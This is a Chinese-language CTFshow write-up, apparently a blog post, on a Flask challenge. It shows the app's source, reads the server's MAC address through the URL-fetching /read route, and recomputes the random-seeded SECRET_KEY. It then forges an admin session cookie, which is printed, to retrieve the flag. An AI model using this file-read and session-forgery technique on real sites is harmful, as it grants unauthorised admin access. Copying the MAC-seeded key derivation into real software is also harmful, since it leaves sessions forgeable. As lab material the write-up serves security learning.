CTFshow | Flask_Session伪造 | secret_key计算 | flask_session_cookie_manage3.py |

image
image

源码:
```plaintext
# encoding: utf-8
import re
import random
import uuid
import urllib.request
from flask import Flask, session, request

# 初始化 Flask 应用
app = Flask(__name__)

# 初始化随机种子并设置 SECRET_KEY
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 100)
print(app.config['SECRET_KEY'])

# 关闭调试模式(生产环境推荐)
app.debug = False


@app.route('/')
def index():
    """首页路由:初始化 session 为 guest 用户"""
    session['username'] = 'guest'
    return 'CTFshow 网页爬虫系统 读取网页'


@app.route('/read')
def read():
    """读取指定 URL 内容的路由:禁止访问包含 flag 的链接"""
    try:
        # 获取 URL 参数
        url = request.args.get('url')

        # 检查 URL 中是否包含 flag(不区分大小写),如果有则禁止访问
        if re.findall('flag', url, re.IGNORECASE):
            return '禁止访问'

        # 读取 URL 内容并返回
        res = urllib.request.urlopen(url)
        return res.read().decode('utf-8', errors='ignore')

    except Exception as ex:
        # 捕获异常并打印,返回提示信息
        print(str(ex))
        return '无读取内容可以展示'


@app.route('/flag')
def flag():
    """flag 路由:仅 admin 用户可访问"""
    if session.get('username') == 'admin':
        return open('/flag.txt', encoding='utf-8').read()
    else:
        return '访问受限'


if __name__ == '__main__':
    # 启动 Flask 应用,监听所有网卡
    app.run(debug=False, host="0.0.0.0")

访问路径/flag,且session的username字段未admin即可得到flag

访问/read?url=中存在flag时,即会报错"禁止访问"

image

MAC码地址:/sys/class/net/eth0/address - 十六进制

image

计算 SECRET_KEY 脚本
import random

mac = int("02:42:ac:0c:65:85".replace(":",""),16) # 已知的 MAC 地址
random.seed(mac)
key = str(random.random()*100)
print(key) # 得到79.97069568948858

image

flask_session_cookie_manage3.py脚本进行session构造
(需要用到secret_key)
image

image

eyJ1c2VybmFtZSI6ImFkbWluIn0.aXSlOA.ZkFq0oiHeXwy08f7qFlc_DTOwcY

将该session抓包更换即可获得flag

image

posted @ 2026-01-24 19:24  Dragon_Roar  阅读(7)  评论(0)    收藏  举报